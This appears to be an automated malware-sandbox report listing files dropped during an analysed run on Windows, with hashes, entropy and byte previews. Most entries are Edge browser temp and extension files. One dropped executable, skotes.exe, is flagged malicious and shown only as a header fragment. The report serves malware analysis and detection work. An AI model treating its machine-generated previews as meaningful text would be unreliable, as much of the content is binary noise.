SHA-512:	100B31CDF9FE76B90A02C000B3DBCFE14C08DC04EB3A3B177F7D1B73B82F717AF186BE70B8725759196A754B3116003CD1B0FAFD99A33A77DE4B9078BFB70060
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\a5d8d529-b237-4518-8f80-750027761820.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsGCBFBGCGIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1858048
Entropy (8bit):	7.948808820686896
Encrypted:	false
SSDEEP:	49152:j++S/0Cfy6rIyGFA0F8yU/qfb7u5CpRvSM/TG:y+89yxyGrdVfcCpRlK
MD5:	AE0E62A9AE1F471958341B45817B6804
SHA1:	E13376D4BDB2E56751DC4C52D9AD24ED55D72877
SHA-256:	9B73356104654687374DFAB3C5554E15DFB402A1089750D9C431E1C4964DE8CB
SHA-512:	50D4EB6392626E7A337104E00EB819767F051BBE8975555B1621C88AF4F1FC1D1F0B44360C94DE00F7BD20D2590964D3FEDAC79C0BEF9B334B934C87D19C2A83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................0J.....9.....@.................................W...k.......H...................<.I...............................I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...hwqxmwlo.@....0..<..................@...mfzfwoib......I......4..............@....taggant.0....J.."...8..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.415402852452022
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L04ZC65LyzH04v7NL5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5/
MD5:	68BF138D4573184F2B594BBF087A30BC
SHA1:	37A291E2572EC5DF01E390ED9EA3EBAC953600BC
SHA-256:	6B3979C5886D8857E0A5FEE45E613EE3FD1B0476758C9C015D775DB0863B91E3
SHA-512:	85323E3313E74394690E5BC7835CC7775E404D817EDB001F9AAB7C4EE1CF648BE6C12F28D634091465B838F8EECE492BBF827D7BF82F6FE7E7A4832670BDE364
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\fe852e88-e57f-40f8-b978-8b90c48d1be4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_1657705418\210d4dee-87fd-4ae9-8661-ecf0191088ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6944_1657705418\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6944_1657705418\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6944_1657705418\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6944_1657705418\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\25d586c6-a64f-4f1d-9727-966941cf0114.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
